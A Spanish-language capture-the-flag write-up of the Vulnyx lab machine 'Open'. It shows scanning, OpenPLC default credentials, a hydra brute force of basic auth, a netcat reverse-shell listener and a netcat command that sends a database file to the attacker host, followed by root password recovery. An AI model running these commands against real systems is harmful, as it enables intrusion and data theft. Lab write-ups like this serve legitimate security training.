Write-up: Máquina Open (Vulnyx)


Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.74
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.74


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.74 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 2280, 7681 y 8080.

Comprobamos que es lo que corre por el puerto 80.


A continuación, si realizamos con la herramienta gobuster un fuzzing web, no encontramos nada.

Comprobamos que es lo que corre por el puerto 8080.


Hacemos una búsqueda en internet de credenciales por defecto de OpenPLC.


Encontramos las credenciales openplc:openplc.

Probamos estas credenciales por defecto, siendo posible acceder.


En Users, enumeramos posibles nombres de usuarios.


Comprobamos que es lo que corre por el puerto 7681.


Está protegido por un auth_basic.

A continuación, con la herramienta hydra realizamos un ataque HTTP Basic Auth para intentar crackear la contraseña del usuario tirex, para ello ejecutamos el siguiente comando:

$ hydra -l tirex -P rockyou.txt http-get://10.0.2.74:7681 -t 64


Obtenemos la contraseña heaven.

Intentamos acceder con las credenciales obtenidas.


Y vemos que es una terminal del usuario tirex.

A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Ejecutamos la siguiente reverse shell en busybox.



Y obtenemos una shell como tirex.

A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Buscamos la Base de Datos de OpenPLC, para ello ejecutamos el siguiente comando:

$ find / -name *.db 2>/dev/null


En el directorio /opt/OpenPLC_v3/webserver encontramos en el la Base de Datos llamada openplc.dbomprobamos de que tipo de fichero se trata, para ello ejecutamos el siguiente comando:

$ file openplc.db


Vemos que se trata de una Base de Datos tipo sqlite3, por lo tanto, nos pasamos este fichero a nuestra Máquina Atacante, con la ayuda de la herramienta netcat (nc), para ello en nuestra terminal de la Máquina Atacante abrimos un listener por el puerto 1234 y lo redireccionamos todo lo que entre por ese puerto al fichero openplc.db, para ello ejecutamos el siguiente comando:

$ nc -lvnp 1234 > openplc.db

En la Máquina Victima situados en donde se encuentra el archivo, iniciamos una conexión a nuestra Máquina Atacante redirigiendo el archivo openplc.db, para ello ejecutamos el siguiente comando:

$ nc 10.0.2.4 1234 < openplc.db

A continuacion, lo abrimos con el motor de Base de Datos sqlite3, para ello ejecutamos el siguiente comando:

$ sqlite3 openplc.db

Enumeramos las tablas, y obtenemos los datos almacenados en ella.


Y obtenemos la contraseña del usuario root.

Nos cambiamos al usuario root, para ello ejecutamos el siguiente comando:

$ su root

Introducimos la contraseña obtenida anteriormente.


¡¡¡Ya somos root!!!

Ya podemos leer las flags de user root.